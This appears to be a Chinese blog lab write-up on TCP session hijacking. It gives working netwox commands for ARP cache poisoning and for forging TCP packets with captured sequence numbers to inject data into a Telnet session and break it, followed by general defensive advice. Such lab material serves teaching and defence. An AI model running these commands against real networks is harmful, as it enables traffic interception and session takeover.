TCP劫持攻击

思路:

  1. Hacker获取到Client与Server的TCP会话包(ARP毒化、或者MAC洪范攻击等)
  2. 观察Server发给Client的最后一个TCP报文
  3. Hacker通过数据包伪造出一个TCP报文,这个报文是Client回给Server的TCP数据包

a.二层的source-mac是hacker机

b.三层的ip source是Client主机的IP,目标是Server的IP

c.四层的参数通过获取的TCP会话来进行查询

因为:Server判断会话只能通过三层与四层

设计:

 

首先Kai要获得TCP的数据包2,那么就要使客户端与服务器的TCP流量经过自己,即先进行ARP的毒化

思路:

      伪造目标主机的ARP回应包

 

RHEL7.2的MAC 00:0c:29:82:47:61

RHEL7.5的MAC 00:0c:29:a1:1b:d7

Kali的MAC 00:0c:29:67:81:38

 

伪造:

sudo netwox 33 -b 00:0c:29:a1:1b:d7 -e 2 -f 00:0c:29:67:81:38 -g 192.168.211.133 -h 00:0c:29:a1:1b:d7 -i 192.168.211.134

检查:可见,arp的映射明显被Kali攻击者更换了

 

当然还是能ping通的,

 

此时开启Kali的网卡转发功能,为了截取到客户端RHEL7.5向RHEL7.2之间的TCP数据包

 

此时客户端去ping服务器,在Kali上就能查看到这两个通信双方的ARP包

前期的铺垫完成后,接下来进行TCP的劫持攻击

 

步骤:

  1. 客户端与服务器进行TCP的三次握手会话
  2. Kali抓取服务器对客户端的回应的TCP包
  3. Kali伪造下一个客户端发给服务器的数据包

那么选择TCP层的协议telnet是因为

ssh与telnet的相同点:

  • 两种协议都可以远程登录另一台主机
  • 两种协议都属于基于TCP/IP的协议

ssh与telnet的不同点:

  • telnet是明文传送;ssh是加密传送,并且支持压缩。
  • telnet的默认端口号为23;ssh的默认端口号为22.
  • ssh使用公钥对访问的服务器的用户验证身份,进一步提高的安全性;telnet没有使用公钥。

1.客户端向服务器继续telnet的TCP会话建立

 

2.Kali抓取telnet包

 

打开这个包,查看详细字段

首先,先将TCP报文的协议首选项中的计算seqnumber的默认选项勾掉,即不让他默认给我们计算,因为这里我们要伪造TCP包,所以不能用wireshark计算后的结果来伪造报文

思路:

伪装C给S发包,夺得S的信任

三层包

四层包

从此报文中可以拿到

三层

Ipv4 ttl:64

Ipv4 protocol:6

Ipv4 src:192.168.211.133

Ipv4 dest:192.168.211.134

四层

TCP src Port:23

TCP dest Port:48273

Next sequence number:973115950

Acknowledgement number:3430615544

Window size value:227

 

数据:

32310d00

命令:

sudo netwox 40 --ip4-ttl  64 --ip4-protocol  6 --ip4-src 192.168.211.134 --ip4-dst 192.168.211.133   --tcp-src  48273 --tcp-dst 23  --tcp-seqnum 3430615544 --tcp-acknum 973115950  --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data 32310d00

实施攻击:

 

实施攻击后,可以看出原本的连接出现一个虚假重传包,打开这个包,发现就是Kali伪造的数据

 

说明:

开启了网卡转发受害主机发送到目标主机的数据包回经过攻击者主机转发出去,这样攻击者就获得了受害主机的通讯数据

此时被攻击主机的TCP会话并没有断开是因为,Kali开启了网卡转发,如果关闭后,被攻击的客户端会话将会立即断开

测试:

命令:

sudo netwox 40 --ip4-ttl  64 --ip4-protocol  6 --ip4-src 192.168.211.134 --ip4-dst 192.168.211.133   --tcp-src  48277 --tcp-dst 23  --tcp-seqnum 3316797603 --tcp-acknum 3420192115  --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data 32310d00

 

这次攻击后,被攻击的主机将断开与服务器的TCP连接,主机上敲回车已经没有了反应,包层面,一直虚假重传,等过了超时的时间,TCP就会断开会话的建立

 

 

至此,TCP劫持完成,这只是一个开端,在数据中可以注入攻击的代码,以获得对Server的完全控制,既而进行横向穿透


这篇文章是在TCP劫持的基础上进行注入反弹Shell

TCP劫持下的注入反弹Shell攻击

这篇文章的思维导图更能使你深入理解攻击的详细过程

常见协议栈攻击详解(思维导图)

 

TCP劫持是一种恶意攻击攻击者利用某些手段插入自己的数据包来篡改TCP连接中的数据,从而实现窃取信息、篡改数据、控制连接等目的。常见的TCP劫持方式有两种: 1. 欺骗性劫持攻击者利用ARP欺骗等方式,将自己的MAC地址伪装成目标主机的MAC地址,从而截获目标主机发送的数据包,篡改其中的数据,再转发给目标主机,目标主机无法察觉到其中的异常。 2. 同步序列号攻击攻击者利用TCP协议中的同步序列号机制,发送伪造的SYN数据包,使目标主机误认为与其建立了新的TCP连接,从而将攻击者伪装成合法用户,攻击者就能够进行数据篡改、控制连接等操作。 为了防止TCP劫持,可以采取以下措施: 1. 使用加密传输协议:如HTTPS或SSH等加密传输协议,可以防止数据被窃取或篡改。 2. 使用数字证书验证身份:双方在通信时要使用数字证书验证对方的身份,这样可以防止攻击者伪装成合法用户。 3. 使用防火墙:对于网络环境较为复杂的情况,可以使用防火墙来防御TCP劫持攻击。防火墙可以根据特定的规则对数据包进行过滤和检查,从而防止恶意数据包的传输。 4. 及时更新系统补丁和防病毒软件:保持系统和软件的更新,可以防止攻击者利用已知漏洞进行攻击。 5. 建立安全策略和行为规范:企业要建立完善的安全策略和行为规范,对员工进行安全意识培训,以提高员工的安全意识和防范能力。 总之,TCP劫持是一种常见的网络攻击方式,企业和个人应该采取综合措施来防范此类攻击,从而保障网络的安全和稳定。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值